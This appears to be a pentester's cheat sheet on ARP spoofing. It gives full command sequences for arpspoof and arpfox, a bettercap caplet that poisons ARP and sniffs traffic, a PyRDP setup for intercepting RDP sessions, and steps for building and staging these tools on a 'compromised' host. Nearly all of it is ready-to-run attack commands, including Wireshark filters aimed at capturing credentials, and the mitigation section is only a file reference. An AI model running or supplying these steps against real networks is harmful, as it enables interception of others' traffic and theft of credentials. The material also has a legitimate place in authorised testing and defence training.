ARP Spoofing

Address Resolution Protocol

• https://idafchev.github.io/pentest/2019/10/28/combining_arp_poisoning_and_ip_spoofing_to_bypass_firewalls.html

• https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/arp-poisoning

Enable IP forwarding:

$ sudo sysctl -w net.ipv4.ip_forward=1
(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/sysctl.conf "net.ipv4.ip_forward = 1" to make it permanent)

arpspoof (dsniff)

• https://github.com/tecknicaltom/dsniff

• https://github.com/GregHoff/dsniff

Install:

$ sudo apt install dsniff -y

Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5) running:

$ sudo arpspoof [-i eth0] [-c both] -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1 [-r]

arpspoof Output Disassembled

Wireshark filter while ARP spoofing:

(http || ftp || smb || smb2 || ldap) && ip.src == VICTIM_10.0.0.5

Portable

• https://github.com/byt3bl33d3r/arpspoof
• https://github.com/malfunkt/arpfox

As a portable alternative one may use the Python port of arpspoof compiled with PyInstaller:

$ sudo apt install virtualenv
$ pip install pyinstaller=3.5
$ git clone https://github.com/byt3bl33d3r/arpspoof
$ cd arpspoof
$ virtualenv -p `which python2` venv
$ . venv/bin/activate
$ pip install -r requirements.txt
$ pyinstaller --onefile --paths venv/lib/python2.7/site-packages arpspoof/arpspoof.py
$ file dist/arpspoof

Another approach is to download Python dependencies locally and install them on a compromised Linux host:

Dev$ pip download --no-binary=:all: -r requirements.txt
Compromised$ python -m pip install --no-index --find-links . -r requirements.txt

If you need to launch ARP spoofing on another distro (CentOS, for example), then installing OS dependencies and using a portable binary may be easier:

Dev$ mkdir /tmp/tcpdump && yum install --downloadonly --downloaddir=/tmp/tcpdump tcpdump
Dev$ ls /tmp/tcpdump
libpcap-1.5.3-12.el7.x86_64.rpm  tcpdump-4.9.2-4.el7_7.1.x86_64.rpm

Compromised$ rpm -i libpcap*.rpm tcpdump*.rpm
Compromised$ tcpdump -nvv -i eth0 -s 65535 -w arpfox.pcap "src host VICTIM_10.0.0.5"
Compromised$ ./arpfox -l
Compromised$ ./arpfox -i eth0 -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1

bettercap

• https://github.com/bettercap/bettercap
• https://www.bettercap.org/modules/
• https://linuxhint.com/install-bettercap-on-ubuntu-18-04-and-use-the-events-stream/
• https://hackernoon.com/man-in-the-middle-attack-using-bettercap-framework-hd783wzy
• https://www.cyberpunk.rs/bettercap-usage-examples-overview-custom-setup-caplets

Deb dependencies (Ubuntu 18.04 LTS):

• libpcap0.8_1.8.1-6ubuntu1_amd64.deb
• libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb
• libpcap-dev_1.8.1-6ubuntu1_amd64.deb
• pkg-config_0.29.1-0ubuntu2_amd64.deb
• libnetfilter-queue1_1.0.2-2_amd64.deb
• libnfnetlink-dev_1.0.1-3_amd64.deb
• libnetfilter-queue-dev_1.0.2-2_amd64.deb

Attack:

$ sudo ./bettercap --iface eth0 --caplet arpspoof.cap

arpspoof.cap

# Quick recon of the network
net.probe on

# Set the ARP spoofing
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false

# Control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# Start the modules
arp.spoof on
net.sniff on

PyRDP

• https://github.com/GoSecure/pyrdp
• https://github.com/GoSecure/pyrdp/blob/master/docs/bettercap-rdp-mitm.md
• https://github.com/GoSecure/caplets/blob/master/rdp-proxy/rdp-sniffer.cap

Install PyRDP:

$ sudo apt update
$ sudo apt install python3 python3-pip python3-dev python3-setuptools python3-venv build-essential python3-dev git openssl libgl1-mesa-glx libnotify-bin libxkbcommon-x11-0 libxcb-xinerama0 libavformat-dev libavcodec-dev libavdevice-dev libavutil-dev libswscale-dev libswresample-dev libavfilter-dev -y
$ git clone https://github.com/gosecure/pyrdp ~/tools/pyrdp && cd ~/tools/pyrdp
$ python3 -m venv venv && source venv/bin/activate
$ pip install -U pip setuptools wheel
$ pip install -U -e '.[full]'

Compile bettercap from fork:

$ sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev -y
$ mkdir -p $GOPATH/src/github.com/bettercap && cd $GOPATH/src/github.com/bettercap
$ git clone https://github.com/GoSecure/bettercap -b rdp-mitm --single-branch && cd bettercap
$ go mod init && go mod tidy && go get && go mod vendor && go build

Run the attack hoping that the RDP client 192.168.1.3 will connect to the RDP server 192.168.1.2 with NLA disabled:

$ curl -sSL https://github.com/GoSecure/caplets/raw/master/rdp-proxy/rdp-sniffer.cap -o rdp-sniffer.cap
$ pyrdp-player.py -p 3000
$ sudo ./bettercap -iface eth0 -caplet rdp-sniffer.cap -eval "set arp.spoof.targets 192.168.1.2, 192.168.1.3; set rdp.proxy.targets 192.168.1.2; set rdp.proxy.player.ip 127.0.0.1; set rdp.proxy.replay true; set rdp.proxy.command `which pyrdp-mitm.py`"
$ sudo arpspoof -i eth0 -t 192.168.1.3 192.168.1.2 -r

Mitigations

Mitigating ARP spoofing:

1021KB

Ruijie Anti-ARP Spoofing Technical White Paper.pdf

pdf